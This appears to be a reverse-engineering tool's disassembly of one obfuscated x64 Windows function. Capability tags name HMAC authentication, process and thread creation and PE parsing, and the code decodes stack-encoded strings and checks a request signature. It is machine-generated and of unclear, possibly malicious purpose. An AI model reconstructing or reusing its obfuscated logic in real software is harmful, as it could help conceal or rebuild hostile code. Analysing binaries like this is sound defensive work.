Function at 0x14008af10
Capabilities:
Authenticate hmac
Create process on windows
Create thread
Parse pe header
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xab8]
sub rsp, 0xb90
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140280480]
xor rax, rsp
mov qword [rbp + 0xa70], rax
mov r12, rcx
xor r13d, r13d
mov dword [rsp + 0x44], r13d
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x1400976b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp qword [r12 + 0x30], 0xa
jne 0x140090a7b
cmp qword [r12 + 0x50], 0x40
jne 0x140090a7b
xorps xmm0, xmm0
movups xmmword [rbp + 0x808], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x758], xmm1
mov qword [rbp + 0x768], r13
mov qword [rbp + 0x770], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x758], r13b
lea rcx, [rbp + 0x808]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
mov qword [rbp + 0x6e0], r13
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x808]
call qword [sym.imp.RPCRT4.dll_UuidToStringA]
test eax, eax
jne 0x14008b016
mov rdx, qword [rbp + 0x6e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x14008aff3
lea rcx, [rbp + 0x758]
call fcn.140049a40
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x710], r13
mov qword [rbp + 0x718], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x700], 0
movups xmmword [rbp + 0x1f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
mov r8d, reloc.WS2_32.dll_recv
cmp qword [rbp + 0x768], r8
cmovb r8, qword [rbp + 0x768]
lea rdx, [rbp + 0x758]
cmp qword [rbp + 0x770], 0xf
cmova rdx, qword [rbp + 0x758]
lea rcx, [rbp + 0x1f8]
call fcn.140049f40
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x700]
call fcn.140066e50
lea rcx, [rbp + 0x1f8]
call fcn.140049860
mov word [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_45
mov byte [rsp + 0x46], 0
lea r9, [rsp + 0x41]
lea r8, [rsp + 0x45]
lea rdx, [rsp + 0x44]
lea rcx, [rbp + 0xc8]
call fcn.14004a560
nop
lea r8, [rbp + 0x700]
cmp qword [rbp + 0x718], 0xf
cmova r8, qword [rbp + 0x700]
mov r9, qword [rbp + 0x710]
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.14004a410
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x138], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8, qword [rbp + 0xe0]
cmp r8, 0xf
jbe 0x14008b14f
mov rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0xc8]
call fcn.140049c40
movdqa xmm6, xmmword [0x14025d9d0]
movdqu xmmword [rbp + 0xd8], xmm6
mov byte [rbp + 0xc8], 0
lea rdi, [r12 + 0x40]
mov r8, rdi
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x148]
call fcn.140049da0
lea rcx, [r12 + 0x278]
mov rdx, rax
call fcn.140066e50
mov r8, qword [rbp + 0x160]
cmp r8, 0xf
jbe 0x14008b1b1
mov rdx, qword [rbp + 0x148]
lea rcx, [rbp + 0x148]
call fcn.140049c40
movdqu xmmword [rbp + 0x158], xmm6
mov byte [rbp + 0x148], 0
lea rcx, [rbp + 0x128]
call fcn.140049860
lea rcx, [rbp + 0x778]
call fcn.140084b80
nop
call fcn.14009c840
mov r15, rax
mov dword [rbp - 0x48], 0x8d958ec6
mov dword [rbp - 0x44], 0x838f9781
mov word [rbp - 0x40], Ordinal_217
mov byte [rbp - 0x3e], 1
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14008b208
mov rdx, qword [r12]
xor r8d, r8d
mov rcx, r15
call fcn.14009b340
mov rbx, rax
mov dword [rsp + 0x60], 0x8e838fc6
mov dword [rsp + 0x64], 0x100d881
mov dword [rbp - 0x68], 0x808c84c6
mov dword [rbp - 0x64], 0xda9f808f
mov word [rbp - 0x60], 0x100
mov dword [rsp + 0x58], 0x908389c6
mov dword [rsp + 0x5c], 0x100d88c
mov dword [rsp + 0x50], 0x918797c6
mov word [rsp + 0x54], reloc.WLDAP32.dll_Ordinal_217
mov byte [rsp + 0x56], 1
mov dword [rbp - 0x58], 0x86929894
mov dword [rbp - 0x54], 0x8e888cd9
mov word [rbp - 0x50], 0x9c
mov byte [rbp - 0x4e], 1
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x500]
call fcn.140079fa0
nop
lea r8, [r12 + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x4e0]
call fcn.140049da0
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x600]
call fcn.140079db0
nop
lea rdx, [rbp + 0x778]
cmp qword [rbp + 0x790], 0xf
cmova rdx, qword [rbp + 0x778]
mov r8, qword [rbp + 0x788]
mov rcx, rax
call fcn.140049bb0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x4b0]
call fcn.140079ea0
nop
lea rdx, [rbp + 0x700]
cmp qword [rbp + 0x718], 0xf
cmova rdx, qword [rbp + 0x700]
mov r8, qword [rbp + 0x710]
mov rcx, rax
call fcn.140049bb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r14d, 0x3f
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x660]
call fcn.140079db0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.140049d30
nop
lea r8, [rbp - 0x48]
mov rdx, rax
lea rcx, [rbp + 0x620]
call fcn.14007a0f0
nop
lea r8, [r12 + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x7a8]
call fcn.140049da0
nop
lea rcx, [rbp + 0x620]
call fcn.140049860
nop
lea rcx, [rbp + 0x640]
call fcn.140049860
nop
lea rcx, [rbp + 0x660]
call fcn.140049860
nop
lea rcx, [rbp + 0x108]
call fcn.140049860
nop
lea rcx, [rbp + 0x4b0]
call fcn.140049860
nop
lea rcx, [rbp + 0xe8]
call fcn.140049860
nop
lea rcx, [rbp + 0x600]
call fcn.140049860
nop
lea rcx, [rbp + 0x4e0]
call fcn.140049860
nop
lea rcx, [rbp + 0x500]
call fcn.140049860
lea rsi, [r12 + 0xa0]
mov r8, qword [rsi + 0x10]
mov rcx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14008b474
mov rcx, qword [rsi]
test r8, r8
jne 0x14008b498
lea rdx, [0x14025335e]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14008b498
cmp qword [r12 + 0xb0], 0
je 0x14008b76a
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x328]
call fcn.140069750
nop
lea rcx, [rbp + 0x328]
call fcn.140056770
movzx ebx, al
lea rcx, [rbp + 0x328]
call fcn.140068bd0
test bl, bl
jne 0x14008b533
movdqa xmm0, xmmword [0x1402277f0]
movdqu xmmword [rbp + 0x270], xmm0
movdqa xmm1, xmmword [0x140227750]
movdqu xmmword [rbp + 0x280], xmm1
movdqa xmm0, xmmword [0x1402276c0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0x3e
mov byte [rbp + 0x2a2], 1
lea rcx, [rbp + 0x270]
call fcn.1400828f0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x960]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, rsi
lea rcx, [rbp + 0x960]
call fcn.140064d00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7e8], xmm0
movdqu xmmword [rbp + 0x7f8], xmm6
mov byte [rbp + 0x7e8], 0
movups xmmword [rbp + 0x818], xmm0
movdqu xmmword [rbp + 0x828], xmm6
mov byte [rbp + 0x818], 0
mov rax, qword [rbp + 0x960]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x960]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x7e8]
lea rcx, [rbp + 0x960]
call fcn.140070080
movdqa xmm0, xmmword [0x1402277b0]
movdqu xmmword [rbp + 0x2d0], xmm0
movdqa xmm1, xmmword [0x140227810]
movdqu xmmword [rbp + 0x2e0], xmm1
movdqa xmm0, xmmword [0x140227610]
movdqu xmmword [rbp + 0x2f0], xmm0
mov word [rbp + 0x300], 0x100
mov r8, rsi
lea rdx, [0x140226e40]
lea rcx, [rbp + 0x560]
call fcn.140049cc0
nop
lea r8, [rbp + 0x2d0]
mov rdx, rax
lea rcx, [rbp + 0x540]
call fcn.14007a360
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14008b63f
mov rax, qword [rax]
mov r8, rax
lea rdx, [rbp + 0x520]
lea rcx, [rsp + 0x41]
call fcn.1400818b0
mov rdx, rax
lea rcx, [rbp + 0x818]
call fcn.140066e50
lea rcx, [rbp + 0x520]
call fcn.140049860
nop
lea rcx, [rbp + 0x540]
call fcn.140049860
nop
lea rcx, [rbp + 0x560]
call fcn.140049860
mov dword [rsp + 0x68], 0x888d95c6
mov dword [rsp + 0x6c], 0xdb8b81
mov byte [rsp + 0x70], 1
lea rcx, [rsp + 0x68]
call fcn.140082890
mov rdx, rax
lea r8, [rbp + 0x7e8]
lea rcx, [rbp + 0x580]
call fcn.140049cc0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14008b6cc
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x7a8]
call fcn.140049bb0
nop
lea rcx, [rbp + 0x580]
call fcn.140049860
mov dword [rsp + 0x78], 0x828a95c6
mov dword [rsp + 0x7c], 0xdb8d97
mov byte [rbp - 0x80], 1
lea rcx, [rsp + 0x78]
call fcn.140082890
mov rdx, rax
mov r8, rsi
lea rcx, [rbp + 0x5a0]
call fcn.140049cc0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14008b727
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x7a8]
call fcn.140049bb0
nop
lea rcx, [rbp + 0x5a0]
call fcn.140049860
nop
lea rcx, [rbp + 0x818]
call fcn.140049860
nop
lea rcx, [rbp + 0x7e8]
call fcn.140049860
nop
lea rcx, [rbp + 0x960]
call fcn.140064c10
mov rcx, r15
call fcn.14009c7f0
lea rax, [rbp + 0x5c0]
mov qword [rbp + 0x2c8], rax
lea rdx, [r12 + 0x80]
lea rcx, [rbp + 0x5c0]
call fcn.140066ee0
mov rbx, rax
lea rdx, [rbp + 0x7a8]
lea rcx, [rbp + 0x680]
call fcn.140066ee0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x720]
call fcn.140098910
nop
movdqa xmm0, xmmword [0x1402275c0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov byte [rbp + 0x1d0], 1
cmp qword [rbp + 0x730], 0x10
jne 0x14008b834
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x1c0]
call fcn.14009ad80
mov r14d, 0xbf
mov r9, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14008b806
mov rax, qword [rax]
lea rcx, [rbp + 0x720]
cmp qword [rbp + 0x738], 0xf
cmova rcx, qword [rbp + 0x720]
mov r8, rax
mov rdx, qword [rbp + 0x730]
call fcn.1400732a0
test al, al
je 0x14008b834
mov bl, 1
jmp 0x14008b83f
xor bl, bl
test r14b, r14b
jns 0x14008b8c9
lea rcx, [rbp + 0x5e0]
call fcn.140049860
test bl, bl
je 0x14008b8c9
movdqa xmm0, xmmword [0x1402277d0]
movdqu xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x140227720]
movdqu xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [0x140227680]
movdqu xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x1402276d0]
movdqu xmmword [rbp + 0x250], xmm1
mov dword [rbp + 0x260], 0xc4552
mov byte [rbp + 0x264], 1
lea rcx, [rbp + 0x220]
call fcn.140082910
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x6d8], r13
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rbp + 0x6a0]
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x6f0]
call fcn.14007e020
nop
mov dword [rbp - 0x78], 0x9091848d
mov dword [rbp - 0x74], 0x838285
mov byte [rbp - 0x70], 1
lea rdx, [rbp + 0x348]
lea rcx, [rbp - 0x78]
call fcn.140081840
nop
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x6f0]
call fcn.140081700
lea rdx, [rbp + 0x7c8]
mov rcx, rax
call fcn.140079d50
nop
lea rcx, [rbp + 0x348]
call fcn.140049860
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x860]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0x860]
call fcn.140080880
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0x750], rax
lea r8, [rsp + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x740]
call fcn.140080aa0
nop
mov rax, qword [rbp + 0x748]
mov rcx, qword [rbp + 0x740]
sub rax, rcx
lea r8, [rbp + 0x720]
cmp qword [rbp + 0x738], 0xf
cmova r8, qword [rbp + 0x720]
cmp qword [rdi + 0x18], 0xf
jbe 0x14008b9c7
mov rdi, qword [rdi]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp + 0x730]
mov rdx, qword [r12 + 0x50]
mov rcx, rdi
call fcn.14009feb0
mov r14, qword [rbp + 0x748]
mov rsi, qword [rbp + 0x740]
cmp rsi, r14
je 0x14008ba64
nop dword [rax + rax]
movzx edi, byte [rsi]
lea rdx, [0x14008aee0]
lea rcx, [rbp + 0x870]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0x30
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::fill_char____ptr64]
mov edx, 2
lea rcx, [rbp + 0x4d0]
call sub.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov edx, edi
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rsi
cmp rsi, r14
jne 0x14008ba00
lea rbx, [section..data]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rbx, qword [section..data]
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x860]
call fcn.14009adf0
cmp qword [rax + 0x18], 0xf
jbe 0x14008ba98
mov rax, qword [rax]
movd xmm2, dword [rax]
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
psrad xmm2, 0x18
movd xmm0, dword [rbx]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm2, xmm0
movd xmm1, dword [rbx + 4]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
psrad xmm1, 0x18
movd xmm0, dword [rax + 4]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
orps xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
orps xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
orps xmm1, xmm0
movd ebx, xmm1
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0xf
jbe 0x14008bb47
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008bb42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008bb42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140183660
movdqu xmmword [rbp + 0x1e8], xmm6
mov byte [rbp + 0x1d8], 0
test ebx, ebx
je 0x14008bbcd
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x7d8]
sub rax, rcx
cmp rax, 0x6b
jb 0x140090af8
lea rax, [rbp + 0x7c8]
cmp qword [rbp + 0x7e0], 0xf
cmova rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], WSASetLastError
lea r9, str.Signature_checksum_failed._Request_was_tampered_with_or_session_ended_most_likely.__echo:__echo_Message:
lea r8, [rbp + 0x7c8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x308]
call fcn.14004a2e0
lea rcx, [rbp + 0x308]
call fcn.140089760
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x2a8]
call fcn.140080610
mov rdx, rax
mov rcx, r12
call fcn.1400930a0
mov dword [rbp + 0x50], 0x8e89bebb
mov dword [rbp + 0x54], 0xfbdbc89
xor eax, eax
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x60], eax
mov word [rbp + 0x64], ax
movabs r14, 0xa060befea7430d4d
movabs r15, 0xd03739589c41ea53
movabs r13, 0x6b9bb9711e9d0da1
movzx edi, byte [rsp + 0x40]
nop dword [rax]
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x14008c869
movzx r9d, byte [rbp + r11 + 0x50]
movzx esi, r9b
cmp rbx, r11
ja 0x14008c860
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008bc8c
movabs rcx, 0xb24dbff3bed26e59
add rcx, r11
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x6f
jmp 0x14008bcc6
je 0x14008c7ec
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c78a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c751
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c70f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008c6ed
movzx esi, r9b
nop word [rax + rax]
cmp r8, r11
ja 0x14008c857
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x14008bcf9
lea rcx, [r11 + r14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x1b
jmp 0x14008bd30
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c6a5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c683
cmp rbx, rcx
je 0x14008c664
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c648
nop dword [rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14008c336
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008c316
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008c2e7
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14008c2bf
lea rcx, [r8 + 0x80]
cmp rbx, rcx
je 0x14008c29d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c278
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008c256
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c230
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008c20a
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008c1d5
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008bd40
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14008c83a
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14008c81d
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x14008bf25
lea rcx, [r8 + 0x64]
cmp rbx, rcx
jb 0x14008bf0b
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008bef1
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008c17d
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008c12d
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008c0e1
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008c0b7
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008bd40
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14008c082
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x14008c05c
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14008c036
lea rcx, [r8 + 0x41]
cmp rbx, rcx
ja 0x14008c010
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008bfeb
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008bfc9
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008bfa1
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008bf72
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008bf48
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14008bd40
mov rbx, rcx
lea r8, [rcx + 0x1000]
jmp 0x14008bd40
lea rcx, [r11 + r15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x45
jmp 0x14008bd30
lea rcx, [r11 + r13]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x67
jmp 0x14008bcd0
movabs rcx, 0x7003989a0f830ef
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
add dil, 0x77
jmp 0x14008bc57
movabs rax, 0x305f7f53a186a68
add rax, r11
and r9b, al
mov ecx, reloc.WS2_32.dll_sendto
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
movzx r10d, r11b
jmp 0x14008c6c3
movabs rax, 0x9e6a780dbc738db6
add rax, r11
and r9b, al
mov ecx, 3
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
inc r8
dec r11
inc r11
jmp 0x14008bc43
movabs rax, 0x39cef8263eceb104
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x1c
dec r11
inc r11
jmp 0x14008bc43
movabs rax, 0xd533783ec129d452
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x3e
jmp 0x14008c72d
movabs rax, 0x7097f8574384f7a0
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x60
add rbx, r8
jmp 0x14008c771
movabs rax, 0xbfc786fc5e01aee
add rax, r11
and r9b, al
mov ecx, 0x3f
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
jmp 0x14008c771
movabs rax, 0xa760f888483b3e3c
add rax, r11
and r9b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
jmp 0x14008c61b
movabs rax, 0x42c578a0ca96618a
add rax, r11
and r9b, al
mov ecx, Ordinal_33
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
jmp 0x14008c7ab
movabs rax, 0xde29f8b94cf184d8
add rax, r11
and r9b, al
mov ecx, ntohl
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14008bc43
movabs rax, 0x62a538f692d55d1b
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
add dil, 0x43
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x14008bc43
movabs rcx, 0xfe09b90f15308069
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
add dil, 0x21
cmp r8, 0x400
jb 0x14008c0d4
movzx r10d, r11b
lea edx, [r10 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x74]
jmp 0x14008c6c3
movabs rcx, 0x996e3927978ba3b7
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
dec dil
cmp rbx, 0x20
jae 0x14008c5e5
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14008c4d8
lea edx, [r11 - 0x7e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008c0ff
movabs rcx, 0x34d2b94019e6c705
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x23
lea rax, [rbx + r8]
cmp rax, 0x28
je 0x14008c604
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14008c43c
lea edx, [r11 + 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x73
add dil, dl
jmp 0x14008c14a
movabs rax, 0xc24479f7eb924fce
add rax, r11
and r9b, al
mov ecx, Ordinal_50
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14008bc43
movabs rax, 0x5da8fa106ded731c
add rax, r11
and r9b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
jmp 0x14008c7ab
movabs rax, 0xf90d7a28f048966a
add rax, r11
and r9b, al
mov ecx, reloc.WS2_32.dll_listen
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
jmp 0x14008c61b
movabs rax, 0x9471fa4172a3b9b8
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 8
jmp 0x14008c771
movabs rax, 0x2fd67a59f4fedd06
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x2a
add rbx, r8
jmp 0x14008c771
movabs rax, 0xcb3afa72775a0054
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x4c
jmp 0x14008c72d
movabs rax, 0x669f7a8af9b523a2
add rax, r11
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x6e
dec r11
inc r11
jmp 0x14008bc43
movabs rcx, 0x203faa37c1046f0
add rcx, r11
and r9b, cl
mov eax, Ordinal_60
sub al, r9b
lea edi, [rax + rax]
add dil, sil
add dil, cl
inc r8
dec r11
inc r11
jmp 0x14008bc43
movzx r10d, r11b
lea edx, [r10 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14008c6c0
